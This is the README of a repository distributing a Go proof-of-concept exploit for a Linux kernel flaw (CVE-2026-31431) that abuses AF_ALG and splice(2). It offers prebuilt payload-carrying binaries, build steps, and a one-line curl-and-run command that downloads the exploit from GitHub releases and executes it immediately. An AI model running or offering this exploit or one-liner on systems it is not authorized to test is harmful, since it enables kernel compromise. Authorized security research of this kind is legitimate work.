
Prova de conceito estática em Go para CVE-2026-31431, aproveitando o Linux AF_ALG e splice(2) para acionar a vulnerabilidade. Fornece binários pré-compilados para amd64, arm64 e 386.
Este repositório contém um port em Go da prova de conceito pública em Python do
theori-io/copy-fail-CVE-2026-31431.
O programa é exclusivo para Linux. Ele usa a interface AF_ALG do Linux, mensagens
de controle AEAD e splice(2) para preservar o comportamento do PoC original,
enquanto é compilado como um pequeno binário Go estático.
Builds de release são gerados para:
linux/amd64linux/arm64linux/386Cada binário incorpora um ELF de payload para a mesma arquitetura de destino.
Builds para macOS e Windows não são publicados intencionalmente porque o PoC depende de interfaces de kernel específicas do Linux.
Releases com tags publicam binários estáticos compactados e um manifesto de checksums:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSVerifique um artefato baixado com:
sha256sum -c SHA256SUMS
Requisitos:
Compile para a arquitetura do host atual:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Cross-build para um alvo Linux:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
Os valores suportados para GOARCH são amd64, arm64 e 386.
Execute os testes:
go test ./...
go vet ./...
Os testes cobrem apenas a lógica auxiliar não destrutiva. Eles não executam o caminho de disparo do PoC.
Execute o binário em um sistema Linux que você possui ou para o qual está explicitamente autorizado a testar:
./copy-fail-poc-linux-*
Download e execução de release em uma linha:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
O comportamento depende do kernel alvo e da configuração local do sistema. O binário não garante exploração bem-sucedida em todos os sistemas Linux.
O workflow do GitHub Actions é executado em tags que correspondem a v* e também
pode ser iniciado manualmente pela aba Actions.
Crie um release:
git tag v0.1.0
git push origin v0.1.0
Para builds de tags, o workflow cria um GitHub Release e envia os artefatos Linux
mais o SHA256SUMS. Para execuções manuais, os artefatos estão disponíveis na
execução do workflow.
Este projeto é fornecido apenas para pesquisa de segurança autorizada, validação defensiva e revisão educacional. Não o execute em sistemas que você não possui ou para os quais não tem permissão explícita para testar. Você é responsável por cumprir todas as leis, contratos e políticas aplicáveis.
theori-io/copy-fail-CVE-2026-31431